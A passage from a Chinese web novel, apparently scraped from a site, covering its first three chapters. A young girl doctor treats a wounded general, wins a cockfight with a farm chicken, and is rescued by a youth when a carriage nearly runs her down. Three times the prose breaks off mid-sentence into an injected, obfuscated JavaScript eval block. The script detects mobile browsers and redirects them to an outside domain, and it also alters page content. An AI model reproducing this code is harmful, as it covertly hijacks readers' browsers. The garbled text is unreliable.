《奸臣师父为何这样》 1. 无声(一) 火,好大的火。 蔓延在周围的,是铺天盖地的火光,席卷着滚滚浓烟。 “阿灼。” 咳咳——好呛。 女孩极力想要挣扎,可是四肢无法动弹,求救的声音刚到嘴边,却只能化作嘶哑的呜咽。 “阿灼,我来接你了。” 是谁?谁在说话? 是阿爹阿娘来接她了吗?是她那未曾谋面的,心心念念的爹和娘…… 女孩极力睁开眼,即使拼劲最后一丝力气,也想要借着那一束火光,看清那人的脸。 刚一伸出手,那浓烟如猛兽般张牙舞爪地朝她扑来,吞噬了一切。 热,好热……身体快要融化了…… “热死了!” 叶灼从榻上惊坐起,浑身是汗,身上的亵衣紧紧贴在后背上,像刚在水中泡过一般。 最近总是做这个梦,真是好生奇怪。 人在梦中,意识本就模糊,梦中人的脸,一般也是看不清的。那道声音只是不住唤她的名字,有男人的、有女人的,全都混在一起、搅成一团,分不清男女老少。黑暗中还伴有隐约马蹄声,扰得她连着几日睡不好。 醒来时,耳边还在嗡嗡地鸣叫。 有些痒,她不由得伸手一拍。 “哇,好大的蚊子。” 拉开竹帘,窗外阳光洒进窗棂,晃出层层光晕,有些刺眼。蛐蛐在竹笼中懒洋洋趴着,后院传来鸡鸣声。 叶灼想起今日还有些事要做,翻了个身,一骨碌从榻上爬起。 刚下床,又觉身上黏湿,就这样出去,想来难受得很。刚要去洗澡,一打开门,就撞见李伯正要举拐棍砸门。 花白胡子的老人半拄着拐杖,气喘吁吁,似是有什么急事。 “李伯,咱家这木门脆得很,禁不起您这样敲。” 叶灼指了指门上的小坑。拐杖将落未落,被她熟练地捏住。 李伯年纪虽大,步伐却矫健。这拐杖活像个摆设,倒像是专门用来催她起床的。常年累月,不论大小事,都说是急事,眼看门都被捅出坑来,她已经见怪不怪了。 “丫头,十万火急……” 见叶灼只穿了件亵衣,李伯慌张掩住眼。 她揉揉眼睛,打了个大大的呵欠,“自从师父走了以后,丹青阁生意从没好过。什么事再急,能比得上睡觉?” 李伯大骂:“臭丫头,和你说了多少次,就是在屋里头,也不能只穿这一件!给外人看见成什么样子!” “这里又没外人。何况我在外都是以男儿身示人,怕什么。” “女大避嫌,还不快去把中衣穿上!” “可是大夏天的,实在热啊,李伯。”叶灼嬉皮笑脸道,“你看看你,都满头大汗了。你说,古川的夏天,是不是真能把人热死?” “掌柜的,大夫醒了没?” 却听外堂传来喝声,李伯正要说话,想起正事来,向叶灼使了个眼色。 “弟兄们都等许久了,若是再不来……就该砸了你这招牌!” 只听外头一顿叮呤咣啷,叶灼顾不得梳头,将褙子随意一套,快步迈向前厅。 “大清早的,竟来了生意……”她嘴里嘟囔,不像是庆幸,反倒像因为不能多睡一会而怨气重重。 “掌柜的!叫大夫!” “来了,大夫来了!” 几个面容粗犷的男人正立于门前,正值酷暑,他们穿的是厚重的铠甲,满身的风尘仆仆。 “你们谁要治病?” 容国近日刚打了场胜仗,金沙关进来许多狼牙军将士。古川本就位于边境,素日偶尔有伤兵进城来看病,倒不是什么稀罕事。 只是今日这人数,着实有些多了…… 见无人答话,叶灼扫了眼前厅,门口约莫站有七八个士兵。他们只是面面相觑,神情古怪。 待她看到这样鄙夷的眼神,大抵明了这帮人的心思。 犹疑半晌,额上有刀疤的男人开了口:“你就是大夫?” “嗯。” 叶灼压低嗓音,尽量装作老成的模样。可她不过十二岁的年纪,身型又瘦小,对比古川同龄的男孩儿来说,还显得小了好几岁。大夫的名头安在一个毛孩子身上,着实少了些说服力。 刀疤大汉见状笑起来:“你一个乳臭未干的奶娃娃,还会治病?” 这样的话,叶灼听得多了。 丹青阁在古川名声赫赫,她的医术虽远不及师父,但凡是来找她看病的,最后无一例外都成了熟客。只可惜寻常百姓总对医者有偏见,只觉得年纪越老医术越好。故而,大部分人宁愿信那走街串巷摇铃的江湖游医,也不愿听信她古川小医仙的名号。 刚开始叶灼还会辩驳上两句,一来二去地,也就不再拿年龄当一回事了。 “伤者为大,病情耽误不得。”叶灼捯饬着药柜子,懒得搭理他,“是哪位要治病?” “掌柜的,可别开玩笑了。”胡子拉碴的男人看向扫地的李伯。“我听城中百姓说,你们这儿有岐州最好的大夫,医术放在整个容国数一数二,此人能是这个小儿不成?还不速速把那位医仙请出来。要不然,给俺们弟兄治坏了,你这医馆恐是砸锅卖铁都赔不起哩。” 李伯闻言笑脸逢迎,背弓得像条虾子:“军爷消消火,那名医仙,可不就在您面前么?” “哦?是你?” “非也,老夫可不会治病。”李伯瞧了瞧叶灼,“我家小儿,便是百姓口中的医仙……” “偌大的医馆,只有一个大夫?”闻言胡子大汉眉毛直竖,满脸的胡子也跟着竖起来,“老头,少糊弄我,你可知坐着的那人是谁?” “哎,洛铁头。”身后那人一手搭上他肩膀,艰难起身。 此人约莫四五十岁,身高八尺有余,甲胄后还披有红色披肩,活像一堵石墙,结结实实挡在叶灼面前。 只待看清那人面容,李伯吓得将扫帚丢向一边,颤巍巍跪了下来,“哎呀,原来是胡将军。不知将军大驾光临,有失远迎……” “无妨,老者快快请起。” 胡将军是岐州节度使,早些年带领边军作战,收复北方诸地,立下战功赫赫。因为其祖籍古川,古川人皆引以为傲,总吹得神乎其神,闻其声便知其人。 “少废话,大夫呢?”刀疤大汉呵道,又被胡将军挥手制止。 他方才一直坐着,此时起身,露出半截手臂,叶灼方才看清——原来他的另一只胳膊,早已被血水浸湿,蔓延的血色顺着小臂流下,淌得地面一片鲜红。 “是、是。”李伯瞧了眼叶灼,面露难色。“实不相瞒,我们丹青阁,的的确确就只有一个大夫。若是信不过小儿,西山那头有家杏林坊,那里也能治伤。为将军伤情着想,还劳驾几位军爷多行些脚程,移步别处……” 胡将军扶起李伯,指了指叶灼。 “老者严重了。我这伤不碍事,既没有别的大夫,就让他来看吧。” 药粉纱布已经备好,卸下铠甲,伤口还在呼啦啦往外冒着血。 “这伤……得有十天半个月了吧?”叶灼道,“早些时候为何不处置?” “噢,这是半月前的旧伤。战场厮杀,军中负伤本是常态,当时我身在关外,疲于奔命,没有过多留意。若非这几日伤口溃烂,实有些疼痛难耐,便也就这样将就过去了。” 创口已经破溃流脓,皮与肉黏连在一起,只差没有见到骨头。寻常人见这副场面,八成要痛得晕过去。 “将就不得。”叶灼皱了皱眉道。 这位胡将军,一看便是久经沙场的老将,伤得这样重,竟还能面不改色与她攀谈。 “再晚些时日,你这条胳膊,恐怕就不能要咯。” 此言一出,在场几位士兵都吓了一跳,刀疤大汉当即喝起来:“呸呸,小子,你可莫要危言耸听。胡将军乃金刚之躯,断骨之痛尚能抗住,皮肉之伤,怎有你说得那般严重?” 正说着,一口酒已然喷到创口上。 “严不严重不重要,凡是落在本医仙手里,就没有治不好的伤。” 叶灼拿来烧红的烙铁,“胡将军,忍着点儿。” 众人心里皆是七上八下,唯独胡将军面不改色,只有额上冒出细细密密的汗珠。 叶灼不由得感慨,到底不是一般人,清理伤口时,竟然一动也不动。唯有从那对紧闭的双目、紧皱的眉头,方能看出,他此时应是痛极了。 “军中没有军医么?”叶灼边捣着药粉边问。 “伤口虽然破溃,好在并未伤及骨髓,便是医术再不精,只要是个大夫,一般都能治得了,不至于拖延至此。” “唉……小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634506|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你有所不知哩。”刀疤壮汉道,“十年前皇宫出了桩悬案,太医署上下两千人,死的死,跑的跑。剩下几个命好的,后宫娘娘们尚且不够用,朝廷人人自危的时候,又怎会发配给边军?能留给我们的,自是民间招揽来那些不知名游医。有些不堪受苦的拿钱就跑,再有些体弱的,都未必比我们撑得久。稍微受点儿风寒,半路上就倒下了。” “是了。”胡子大汉附和,“边疆生活困苦,哪里是人人都能受得住?只是人人都想活,尤其我们这些人,为了多活一日,不得不用命讨口饭吃。” 挤出脓血,割去腐肉,再将灰白色药粉敷上,一气呵成。 叶灼从未觉得替人包扎如此顺利,不由得长舒一口气,将瓷瓶递给胡将军。 “丹青阁独门秘制金疮药,三日一换。这段时间先尽量用左臂,休养半月,保你恢复如初,能扛大刀能挥枪!” 胡将军拜谢以后,叶灼望着众人远去,喃喃道:“这胡将军,倒是个好官。” 李伯在厨房烧柴火,闻声道:“何以见得?” “一个大将军,自己受了伤,不以体己为重,反而想着体恤士卒,将军医让给伤兵。这不好么?” “好是好。胡将军可是赫赫有名的骠骑将军,功绩历来为人所称道。”李伯来了兴致,轻哼一声,“只可惜啊,做父母官是最好,这做将军的,可万不能太好咯。须知军不可一日无主帅,大敌当前,这活命的机会,还要先留给自己才是。” “……” “丫头,你说是也不是?” 见无人应答,李伯回头望去,丹青阁早已没有了叶灼的影子。 “臭丫头,又溜上街了。” 他忽然想起后院那只鸡。那只鸡是昨日叶灼赶集时带回来的,成色十分漂亮。昨日他还念叨,想来是这丫头长大了,竟懂得买肉回来犒劳他老人家,此时回想,却是越想越不对劲。 早晨后院的鸡还在叫,方才怎的一声不吭? 不瞧不知道,这一瞧,果不其然,就连那只鸡也不见了踪影。 李伯望着空荡荡的后院,气得将柴往地上一丢。 “带一只肉鸡上街,这是要作甚?” 午市,车如流水马如龙,好不闹热。 古川与西戎接壤,北又濒临漠北苍尘山。时值西戎归顺、万邦朝会之际,进城的人多,出城的也多,其中不乏有来往的行商、班师的军队。 偶有马蹄经过,地面扬起尘沙,呛得直叫人睁不开眼。 叶灼戴着虎头帽,身着比甲,大摇大摆走上街头。怀中抱有一只鸡,通体姜黄色羽毛,正瞪着豆大的眼珠,打量街头叫卖的饼摊。 “老板,来个饼子!” “是小叶子啊。饼子马上就好!” 热腾腾的炊饼下锅,发出滋啦的油声,顷刻间香味四溢。 叶灼满足地咬下一大口,阿缇嬷嬷做的炊饼,若说在古川排第二,整个岐州还不敢有人称第一。 “王记包子嘞——”包子铺的王大叔吆喝,见着叶灼,连忙招呼她过来,“小叶子,我这儿包子还剩了许多。马上要收摊了,你若是不嫌弃,这些,还有这些,就都拿回去吃吧。” “王叔,这怎么行?”叶灼说道,就要掏钱。 “怎么不行?上回你医好我的腿,我感激你都来不及呢。几个包子换一双腿,是笔划算买卖。” 古川地方不大,只有两家药铺。杏林坊主要卖些药材,丹青阁则是唯一一家正儿八经的医馆。 王记包子名声响,以往信不过她的,一般都选择到杏林坊开方子。自打她医好王叔的腿,生意才总算有所好转,这条街上的每个人,凡是去丹青阁看过病的,都要同她打一声招呼。 “说到底,王叔您才是丹青阁的贵人呐。多谢了!”叶灼接过包子,才出了个门,怀中已是满满当当。 一口炊饼,一口包子,真乃人生一大乐事。 “话说小叶子,你抱着这只鸡,是去做什么?”阿缇嬷嬷操持一口不太标准的中原话,咧嘴一笑,“我瞧这只鸡生得肥美,做成炊饼馅儿应该味道不错。要不你出个价,就把它卖给我吧!” 叶灼险些呛到,连忙将怀里的鸡抱紧,“这只鸡不能卖,不能卖!” “为什么?” “我拿它有大用处……它能助我找到师父!” 2. 无声(二) 见叶灼神神秘秘护着一只鸡,阿缇嬷嬷虽觉得奇怪,也只好作罢。望着她小小的身影远去,王叔叹了口气:“小叶子这孩子,可怜呐。小小年纪,便要出来讨生活。” “是啊,多好的孩子。”阿缇嬷嬷翻着炊饼念叨,“只可惜,从小就没了爹娘。她那个师父当真没有心,竟扔下她一人去上京快活。枉她打听这么多年,一晃三年过去,却连一点儿消息也没有……作孽哟!” “漫说是自家人了,我们这些外人看在眼里,都觉着疼在心上。这么小的孩子,能将丹青阁打理到现在,属实不容易。” …… 申时已过,赌坊亮起灯笼。 “开斗锣——” “起斗香——” 这里是怀仁坊,古川最热闹的赌坊。 判官拖着长腔吆喝,敲响铜锣。一黑一赤两只雄鸡从笼门缓缓走出。 近来皇宫时兴斗鸡,不大的室内,汇集有天底下最闲散、最好斗、最好吃懒做的赌徒,无不是来此处看斗鸡的。 “我押赤冠王,二两!” “老兄,这就是你不懂行。赤冠王除了喙硬些,浑身上下还有什么可取之处?黑将军那一身腱子肉,翅膀又大,这才是斗鸡场上真正的好手。” 未等香炉第一缕青烟散开,两只斗禽已然扑作一团。 台下一片喝彩,赤冠王欲啃咬黑将军的脖颈,奈何黑将军闪躲极快,丝毫不给敌人可乘之机。 一炷香的功夫,黑将军便追得赤冠王四散而逃、屁滚尿流。 “还有谁敢挑战黑将军?” 判官话音刚落,赌客席一时哗然。 这黑将军是从南师国运进来的斗鸡,体格健壮非常,非但百战百胜,连斗一天下来,依旧是雄赳赳、气昂昂,不见丝毫惧色。 有输家哭丧着脸:“连着七日鸡王都是它,如此战无不胜,没被咬死就已是万幸。哪个不信邪的主子,还敢与它斗?散了吧。” “诸位可还有异议?” “那便宣布,今日怀仁坊鸡王,还是黑——” “慢着!”众人目光齐刷刷向门口望去,叶灼匆匆赶来,方才饱餐一顿,嘴角还挂着饼屑。 她揪着怀中那只鸡的爪子,“我敢。我出十两银子,让它上。” “十两?!”众人惊诧不已,还以为是哪家斗鸡大户带来的奇珍。可定睛一看,叶灼抱的那鸡通体姜黄,虽然羽毛长一些、身型高大些,瞧那模样,分明是只家饲的土鸡。于是一个个笑起来,边笑边道:“小叶子,这只鸡,你是打算拿去炖汤,还是做白斩鸡啊?” 一群不识货的家伙。 叶灼不以为然,撇了撇嘴角:“它若赢了呢?” “它若赢了,我孙某人愿出双倍价钱。”循声望去,原是黑将军的主人。此人姓孙,出身岐州最大的酒商,平生无所事事,最好斗鸡走狗。 “今晚我们砸出去的银子,就全归你了。成也不成?” 判官清了清嗓子,“二位公子,怀仁坊讲求愿赌服输。二十两不是小数目,送出去的银子,可就回不来了。” “成。” 见叶灼心意已决,判官问道:“这只鸡叫什么?” 许是不曾想判官会问鸡的名字,叶灼愣了愣。临时起意,胡乱编了一个:“它叫……大黄。” 众人闻言,笑得更欢了。“小叶子,一会你可莫要反悔,说好的十两银子,一文都少不得!” “谁输还不一定呢,急什么。”叶灼找了个好位置坐下,翘起二郎腿,只等好戏开场。 圆形斗鸡场上,黑将军不安分地扑腾翅膀,一双豆眼凌厉,跃跃欲试。许是没见过家鸡上斗鸡场,许多人觉得新奇,不出一刻,赌坊内已是座无虚席。除了叶灼,所有人把脖子伸得老长,都在盼着等着接下来的惨状。 “大黄对黑将军,开局——” 锣声刚响,黑将军急不可耐冲出笼,一双有力的巨翅开始极速扑打。 许是被这突如其来的袭击吓到,大黄“咕咕咕”叫着往后躲,耐不住黑将军乘胜追击,已然被逼得满斗鸡场跑,啄下来好几根羽毛。 “哈哈哈,小叶子,你家大黄怕是要被薅秃咯!” 叶灼不语,只是默默攥紧拳头。 她其实有几分紧张,但凭她之前对大黄的观察,眼下只能赌上一把。既然在一只鸡身上下注,她往后的生计,便全数系在大黄身上。叶灼向来秉持一个原则,凡是没胜算的事她不做,既然做了,少说得有九成把握。 至于剩下那一成,就尽人事,听天命吧。 黑将军步步紧逼,大黄显然被惹急了,竟然开始啄它的腿。 台下又是一片哄笑:“哪有鸡对着腿啄的,到底是家鸡,只知道低头吃米!” 那利喙逼近脖颈之际,所有人都以为胜负已分。怎料大黄往身侧一躲,竟然灵巧闪躲开,下一瞬便伸出长颈,一把绞住黑将军的脖子。 赌客们傻了眼,喝彩的没了声音,所有人都屏住呼吸。 那粗壮的脖颈越绞越紧,黑将军失了重心,拼命扑打双翅,踉跄几步。 就是现在! 大黄突然拧身反啄,钢爪直插咽喉。 叶灼松了一口气,拍起手来,心中暗暗叫好。 眼看就要血溅四方,只听见有人喊:“不比了,这局不能比了!” 众人回首望去,原是黑将军的主子正仓皇下楼,大声喊停。 “我认输!” 而那台上的黑将军,此时早已没了精神。蔫儿了般倒在地上,只差没咽气。 判官遣人将黑将军一把夺下,大黄斗得正兴,扑打双翅,似有些意犹未尽。 台下像炸了锅般,有人附起掌来,连声叫好。 “黑将军竟然输了,从没见过这样精彩的比赛!” “这下好了,老本都赔进去了。” “承让。”叶灼抱拳道,拎起那只大黄鸡,摸了摸它柔软的红冠。大黄“咕咕”两声,好似胜利者的啼鸣。 满满当当一包银子飞来,她神采飞扬地接下,点点大黄的脑门,“这回你可立了大功劳,回去赏你吃米。” 就要走时,身后却有人追来。 “等一下!” 原是孙公子,要出高价买她的鸡。 “不卖。” “二十两?” “不卖。” “五十两?!” “不卖!” 输给一只家鸡,他孙公子平生从未受过如此奇耻大辱,心中难免不服。咬了咬牙,道:“你开个价,多少钱我都买。” “说了不卖就是不卖!” 任由他如何纠缠,叶灼怎么肯卖?宁愿将它炖了吃,都不会卖给孙公子。能让黑将军无止无休连斗七日,大黄若是落在他手上,还不知要被折磨成什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634507|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子。 况且大黄是她的功臣,多亏了它,今日才能大赚一笔。它不过是想家里蹲乖乖吃米罢了,何苦为难一只家鸡呢? 出赌坊时,叶灼忽然觉得有点儿冷。 就是有双眼睛盯着自己的那种感觉。她打了个哆嗦,掂量下荷包的重量。沉甸甸的银子在手,方觉使人安心。 “有了这么些银子,算上三年攒的,去趟上京应该是够了。” 她心中暗喜,不由得哼起小调来,走路都带风。 太阳落了山,晚霞的余晖染尽天际。叶灼食指拎着荷包甩来甩去,逛着市集,脑海中净是有关上京的种种图景。风光无限的上京,达官汇集的上京,遍地金银,令人神往…… 此时小贩们正在收摊,板车上剩下来都是些残次品,价格较低,正是捡漏的好时机。 这里是胡商的聚集地,什么胡瓜、胡豆,各种各样的奇异香料、璆琳宝石……都是用来上贡的佳品。可惜叶灼从没离开过古川,这些东西放在这儿,称不上多宝贝。 逛了半晌,她拿起一只酒葫芦,细细端详。 葫芦不大,下肚刻有好看的太阳花纹。上肚又有透气小孔。葫芦嘴上穿了麻绳,两段系紧,正好可以用来背在身上。 “这是我从胡商那儿淘来的西域品种,到手仅剩一个,不要可就没有了哦。” 听见老朋友的声音,叶灼猛地抬头。望见那鼻梁上的小雀斑,顿时瞪大了眼,欣喜之色溢于言表。 “小豆子!怎么是你?” 摊主名为沈豆,是邻居沈大娘捡来的养子。不仅兜售天南海北各种稀奇古怪的小玩意,还在黑市靠贩卖消息为生,总之什么都卖些,只有别人想不到,没有他沈豆做不到。叶灼常来光顾他的小摊,早与其混了个面熟。 “你有一段时间没出摊了,可叫我好等。” 沈豆嬉皮笑脸赔不是:“前段时间上京有笔大买卖,我去做生意。这不,才刚回来,就让你给碰上了。” “算我运气好。”说话的功夫,叶灼已将小葫芦斜背于身,看起来很是喜欢。“这东西不错,多少钱?” 沈豆伸出手掌,比了个“五”。 “五文?” 他摇了摇头。 “五十文?” 还是摇了摇头。 “五百?!” 叶灼着实吓了一跳,想要放回去,却又舍不得这个葫芦。于是嘿嘿一笑,讨价还价起来。 沈豆打量着她,双手抱臂:“我看在你是老主顾的份上,这才给的友情价。若是不要嘛,我就给别人了……” “要要要!”叶灼夺下葫芦,打开荷包数了数。见钱不够,只好死皮赖脸,扯了扯沈豆的袖子。 “好豆子,好兄弟……我暂时没那么多现钱,可否先欠着?” “你都赊我几回账了。”沈豆一手撒开,指着她鼓囊囊的荷包,“你说你没钱,那这些银子是什么?” “哎,这些银子可不能动!”叶灼连忙护住荷包,母鸡护崽似的,生怕被人抢了。“这是我留着找师父用的。” “啧,你都找了多少年师父了。”沈豆撇了撇嘴,神情有些落寞。 “你……就非得去找他不可么?” “当然!” “你确定你师父在上京?” “上京是京城,皇帝住的地方。师父走时给我留过信,他一定是去上京了。” 3. 无声(三) “可距离他离开,已经过去三年了,小叶子。三年来,你四处找人打探他的消息,他却没往家里捎过一封书信。”沈豆顿了顿,尽管于心不忍,还是道:“就算你去了,你在上京人生地不熟,他呢?说不定他正享尽荣华富贵,早忘了你这个徒弟。” 心里一阵揪紧,叶灼垂下眸。 “到时无功而返,可有你哭的。” 沉吟良久,她缓缓道:“师父他……不会不认我的。这些年没捎信,定是有他的苦衷,许是在上京出了什么事也说不定。” 想到这儿,叶灼的心揪得更紧了。早听闻上京城人多眼杂,想要出头更是难上加难。师父一个人举目无亲,她一定要尽快找到他,才能确保他的安危。 她想到沈豆是古川出了名的消息通,于是追问:“你方才说你去了上京,可有在那儿打探出什么?” “这你就问对人了。天上地下,还没有我沈豆不知道的事。”他吹嘘道,扬起眉毛,“你想问哪方面的?” “比如上京城有什么好差事,我能去那儿做什么?” “这上京的消息嘛,可是很贵的……”沈豆比了个手势,“一两银子,不多不少。” 对于沈豆为赚钱不择手段、与抢钱无异的行径,叶灼每回都觉得十分无语。交出银子时,心仿佛在滴血,但为了师父,她也只好认栽。 果然有钱能使鬼推磨,沈豆附于她耳畔,叽里咕噜说了一堆。 什么茶馆酒楼胭脂铺,酿酒做菜调香师。各种差事,她都不太会。 上京的活,怎么都这么难做? “还有没有别的?” 沈豆扶着下巴想了一会,说道:“还真有一个。近日朝廷正在兴建太医署,收罗天下门生。只要出身名医世家,参加了入学试,都有机会被录用。” 叶灼兴奋地拍手:“这个合适,行医我会!” “不过这活有门槛,不是谁都能上。你师父要是真进了朝堂做官,姑且还能一试。但你若是找不到他,那太医署是什么地方,可不是我们这种平民百姓够得着的。” “那我就更要找到师父了!” 一旦决定做某件事,谁都拿叶灼没法子。对于她这股执拗劲,有时候沈豆颇有些无奈。 不过叶灼曾医好过沈大娘的病,她的医术精湛,这是有目共睹的。 “也好……万一你真成了太医,苟富贵,勿相忘啊。” 叶灼与他击了个掌:“必须的。” 聊了许久,街道上人群乌泱泱的,不知为何,都竞相往两边散开。就连路边的乞丐、摆摊的果农也跑起来,推车上的果子“咕噜噜”滚到地上,被车轮撵得粉碎。 沈豆见状道:“估计是管事儿的来了。” 知是要道别,叶灼挥了挥手,“今日多谢你了,等我回来再见,给你带上京的特产。” 等你回来……就未必能再见了啊。 “嗯?你说什么?” “没什么。”沈豆笑得有些苍白,“不说了啊,我先撤了。” 叶灼觉得今日沈豆有点儿奇怪,倒也没有多想。斗了一下午鸡,她饿得前胸贴后背了,只想快点回家吃饭。可街上人流太密,她手上又拎着一只鸡,寸步难行,实在有些狼狈。 更奇怪的是,今日人们偏偏只往一个方向跑,活像逃命似的。叶灼像肉饼一样,在人群中被挤来挤去,不禁疑惑:今日这帮人抽的什么风,大容不是刚打了胜仗么?总不能是邻城前来逃难的灾民。 她的虎头帽不知被谁撞掉了,刚想蹲下来捡,却听见什么人在大声呼喊。然而人流涌动,车马嘈杂,早已盖过纷乱的人声。 虎头帽被人踩得脏兮兮,她捡起来拍灰。这时候眼睛进了沙子,欲要伸手去揉,那道声音却以极快的速度向她逼近。 “官府车马,闪开——” 马车以迅雷不及掩耳之势飞驰狂奔,所有人尚且来不及做出反应。铁蹄踏在地面,每一步都扬起层层尘沙,若是从人身上踏过,一脚便能将她踢死。 叶灼瘫软在地,慌乱闭上眼。想要迈步,奈何腿一软,愣是浑身使不上力。 完了完了完了……她还没出去看看外面的世界,还没见师父最后一眼呢……不过短短十二载小命,难不成就要葬送在今天?! 忽然一股外力袭来,揪得她胳膊生疼。一双大手将她猛地拽了出去,她体重轻,很快像拎小鸡仔一样被拎向一边。事发突然,她手一松,大黄“咕咕咕”扑腾翅膀挣脱,一溜烟儿没了影。街道上霎时鸡飞狗跳,沉甸甸的银子随之从荷包飞了出去,撒落满地。 “啊,我的银子!” 不知谁大呼一声:“大家伙们,快来捡银子啊!” 见有银子,街道两旁簇拥的人群全都两眼放光,一股脑儿纷涌而至。 满地白花花的雪花银,不一会被抢了个精光。叶灼顾不得摔八瓣的屁股正生疼,冲上前去捡,却是一个也没抢到。 “还我银子,那是我的银子!”她气得直跺脚。 老百姓最缺的无非是银子,眼看着煮熟的鸭子不翼而飞,叶灼除了自认倒霉,别无他法。 “这下完了……全完了!”她呆在原地,欲哭无泪。 “小鬼,你不要命了啊?”清朗的男声。 叶灼回头,原是适才拉她那人。 十七八岁的少年郎,生得剑眉星目,小山峰似的鼻梁,尤其那双桃花眼,很是明亮。阳光侧打在他脸上,高高的马尾随风飘荡,尽显少年恣意。 可惜叶灼此时无心欣赏容貌,只想要回她的银子。 “银子比命重要……”她有气无力道。 那可是整整十两啊,丹青阁不知要开多久才能挣到这么多。谁来赔她银子,赔她银子…… “喂,小鬼。” 那人手搭在她肩上,她气不打一处来,猛地甩开。本想让那人赔钱,可仔细一想,若不是他适才拉她一把,此时早已被那铁蹄踏过,踩成肉泥了。 可是这样一想,叶灼却更难受了。一想到只能自认倒霉,她就想哭。 少年从没见过这样的道理,于是探头道:“是我救了你,你知不知道?” “不知道!” “方才你那样杵在路中央多危险,不思知恩图报,难道反要救命恩人赔钱不成?” “谁要你救我了……”她一抽一抽地答,不像答谢,倒像是撒气。 “呃,怎么哭了?” 他最怕小孩哭,一下便慌了神。要往怀里拿出什么,手忙脚乱掏了一通,想起来没带帕子。伸手去擦,反而蹭了一手的眼泪鼻涕。 “你别哭,别哭啊!” 闻言,叶灼哭得更大声了,“银子没了,鸡也飞了,换你能不哭么?!” “好好好,多少银子,我赔给你就是!别再哭了。” “不要你赔……”她嘤嘤地抽泣,将地上的石子踢出一尺开外,“本姑娘难得出来一趟,难得赌赢一次,到头来全玩完了,这下我还怎么去找师父。呜呜呜……” 少年好似听到什么玩笑话般,抓住要点:“姑娘……?” “有什么可奇怪的?”叶灼抹了把眼泪,“古川多地痞流氓,为求自保,我在外不便以女儿身示人罢了。” 那人上下比划一番,一副难以置信的模样:“可你这一身……” “我这一身怎么了?看起来不像姑娘?” “嗯。” “但我就是姑娘!”她气得又是一跺脚。 见她收了眼泪,少年终于安下心来。本以为是个好人,可他嘴角一扬,当真不会说好话:“可你看起来,像个街溜子。” “你才是街溜子,你全家都是街溜子!” “哎,你只猜对一半。”他得意地笑起来,“我全家不是街溜子,要说起我来,倒真的是街溜子!” 天底下怎会有如此厚颜无耻之人?叶灼只觉得他欠揍极了。但念在此人的确救了自己一命,适才又不小心冲他发了脾气,便懒得再与他计较。 “今日多谢你了啊,街溜子。适才是我不对。”叶灼说着,抱了抱拳,“救命之恩,有缘再报!” “今日报不行么?”他追上来。 叶灼无语凝噎,丧着脸道:“我浑身上下没一文钱,怎么报?既无财又无色,你不会要我以身相许吧?” “以身相许?倒是个好主意。” 他笑得玩味,吓得叶灼捂紧身子连连后退:“可别乱来啊!” 顶着这样一张脸,穿着虽称不上华贵,好歹像是个正经人。总不能和地痞流氓是一帮货色吧?叶灼打量着他,满脸狐疑。 “没没没,开玩笑的。别用那种眼神看我。”少年忙辩解,说着捂着头,踉跄几步。 尚未搞清楚状况,见他倒向自己,叶灼吓得躲向一边,“这位兄台,你是怎么了?” “我初来岐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634508|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州,有许多事不明白。路途颠簸,不瞒你说,我已经连着三日,滴水未进了……”少年睁开一只眼,一副要昏迷的样子。 哇,三日滴水未进?那也太可怜了。叶灼心想,她要是连着三日不吃东西,怕不是要饿成什么样子。 “姑娘若能领我找个隐蔽去处,稍作小憩,便权当是报恩了。” “找馆子?这好办。甭管旅店酒馆,哪家老板我都认识。”叶灼想了想,义正辞严,“只是这银子么……” 少年无奈地笑笑:“你只管带路,银子我出。” “有银子都好说。”叶灼眼珠子滴溜一转,指了指街道尽头,“跟我来。” 杏花村酒家。 此时接近打烊,客人不多,偌大的酒馆内,传来二人的欢声笑语。 “兄台好海量!” 桌上摆满大鱼大肉,美酒佳肴,一看就是笔不小的开销。不知不觉已经过去近两个时辰,又是喝酒,又是吃肉的,好不快活。 “想不到你竟也在白日的赌客席之中,看不出来啊。像你这样的公子哥儿,也喜欢看斗鸡?”叶灼说着,猛灌一壶酒。 “说不上喜欢,只是来都来了,图个新奇。”少年放下酒盏,“不过当时你如何断定,你那只鸡一定会赢?” “其实吧,也有一部分赌的成分在。我早前观察过黑将军的比赛,一场接一场下来,对它的弱点稍作总结,心里才有个底。” “哦?”少年来了兴致,“是什么弱点?” 